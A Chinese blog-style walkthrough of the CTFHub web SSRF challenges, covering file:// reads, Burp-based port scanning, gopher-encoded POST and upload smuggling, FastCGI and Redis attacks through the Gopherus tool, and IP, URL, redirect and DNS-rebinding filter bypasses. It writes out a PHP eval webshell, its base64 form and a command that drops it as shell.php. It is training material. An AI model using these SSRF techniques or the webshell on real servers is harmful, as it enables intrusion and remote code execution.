ctfhub-web-ssrf通关攻略

1、内网访问

题目提示我们访问本机的flag.php,那我们便去访问一下

OK,出来结果

2、伪协议读取文件

题目告诉我们去读取一下web下的flag.php

web目录也就是网站目录,其实和上一道题在的目录是一样的,那么我们尝试去访问

这里没有,查看一下源代码

源代码也没有,尝试下一个   localhost

看一下源代码

源代码也没有,尝试换个协议file

没找到,看一下源代码

找到了

3、端口扫描

题目说端口范围在8000-9000,那我们需要用BP工具,把这个范围里的数字全部过一遍

在浏览器访问ip,抓包

抓到了,ctrl+i发送到inturder模块

把需要爆破的数字添加到payload里

在payload模块里,选择数值,从8000-9000,间隔为1,开始攻击

爆破出来的端口就是8247,答案就在下面的响应里

4、POST请求

题目告诉我们会跳转

我们先尝试一下

出来了一个对话框,我们看一下源代码

他告诉我们key=......这个就是答案,但是我们自己输入进去会跳转,所以我们要让浏览器自己输入进去,那我们需要先抓个提交的包

输入

抓包

抓到包之后把没用的先删掉,并且要用gopher协议去提交,因为在ssrf里要用gopher去代替POST协议,并且在后面加上文件的路径和端口,还要加上请求方式_POST加空格

接下来我们需要进行二次编码:复制,去到CTF工具箱进行第一次URL编码

编码完成之后,新建一个文本文档,在最后加上一个%0a,这是一个换行符,作用是告诉网站我们的数据到这里就结束了,然后再把所有的%0a全部替换为%0d%0a

完成之后复制我们修改完的包,进行第二次编码

编码完成之后就可以提交给网站了,这么做的目的就是让网站自己去发送请求

提交之后发现没有反应,原因就是网站不认识冒号进行二次编码后的字符,所以我们需要改回来,把%253A改为冒号,这样就得到了flag

5、上传文件

这一关和上一关差不多,只是多了创建木马文件,创建提交按钮这两个步骤

题目告诉我们需要上传一个flag.php

我们先照常访问一下flag文件

页面提示我们要上传一个网站的控制权,那毋庸置疑就是要让我们上传木马的,那么我们先写一个木马,1.php

但是由于网页上没有显示提交文件的按钮,那我们就自己去创建一个提交文件的按钮,按f12打开网站源代码,鼠标右键编辑html就可以创建了

接下来就可以去抓上传文件的包了

抓到之后还是先把没用的删掉,并且改为gopher协议

复制代码,进行第一次编码

把所有的%0a替换成%0d%0a

替换完成之后进行二次编码

编码完成之后放到网站里,并把冒号改回来,这样我们就得到了flag

6、FastCGI协议

在kali里下载gopherus工具并解压,地址: git clone https://github.com/tarunkant/Gopherus.git
在文件里打开终端,执行命令 python2 gopherus.py --exploit fastcgi
代码告诉我们要给它一个地址,那我们去题里找一下,先尝试首页文件index.php
访问完成之后又给我们跳回来了,现在也不知道这个文件是否存在,那我们去访问一个不存在的文件看看他显示什么,我输入了wjf.php显示404,那说明index.php是存在的,那我们就往这个文件里注入木马
那么接下来,我们给它地址/var/www/html/index.php,这个路径必须是绝对路径
再然后,代码问我们在哪里运行,那我们给它写个一句话木马,但是这个木马是需要进行base64编码的,因为如果不编码的话写进去的木马会缺少请求方式
一句话木马: <?php @eval($_POST['cmd']);?>
base64编码: PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php
那么这就是我们答案在的地方
接下来我们需要去给它进行一次编码
得到编码之后,在浏览器上粘贴,得到下图就说明运行成功了,接下来我们就用蚁剑去连接我们的木马
打开蚁剑,右键添加数据
把我们的木马文件添加进去,然后点击添加
最后在根目录就可以看到我们的flag了

7、Redis协议

上一关是攻击FastCGI协议,这一关是攻击Redis协议,方法都大差不差,我们简单说一下

在kali里把协议换成Redis

提示我们你想要什么,我们选phpshell,因为我们想要一个php木马

下面有说给他一个web网站的根目录,那我们也给他

下面又说给他一个php木马,那我们写一个

<?php @eval($_POST['cmd']);?>

得到答案之后进行一次URL编码

然后把编码复制到浏览器里,发现一直在转圈

那我们先看一下木马有没有写进去,但是我们刚刚没给文件名,那我们找一下,filename文件名,后面跟了个shell.php,那毋庸置疑这就是文件名了

那么我们尝试去访问一下

访问到了,说明木马写进去了,我们用蚁剑连一下

最后在根目录里找到了flag

8、URL Bypass

题目说必须包含http://notfound.ctfhub.com

那我们先尝试一下输入这个网站

发现什么都没有,那我们尝试去绕过,用@前是用户名,后是主机名的方法去尝试

得出结果

9、数字IP Bypass

题目说不可以使用127,172,十进制的IP

那我们尝试使用localhost绕过

成功了,我们还可以尝试使用16进制去绕过,把127.0.0.1转换为16进制

也是可以滴

10、302跳转 Bypass

题目提示我们如果我们访问IP的话就会把我们跳到其他网址

IP会遵循302跳转,但是localhost不会,我们尝试一下

成功

11、DNS重绑定 Bypass

题目提示我们链接中的附件可能有用

我们去访问一下附件里的链接,这是一个DNS域名重绑定系统的网站

如果要完成DNS重绑定,就必须要凑成IP的闭合,127.0.0.1和127.0.0.2都是我们的本机地址,这两个IP就可以凑成一个本机地址的闭环,不止0.2可以0.多少都可以

然后把这个域名输入到网站里,后面跟上文件名就可以了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值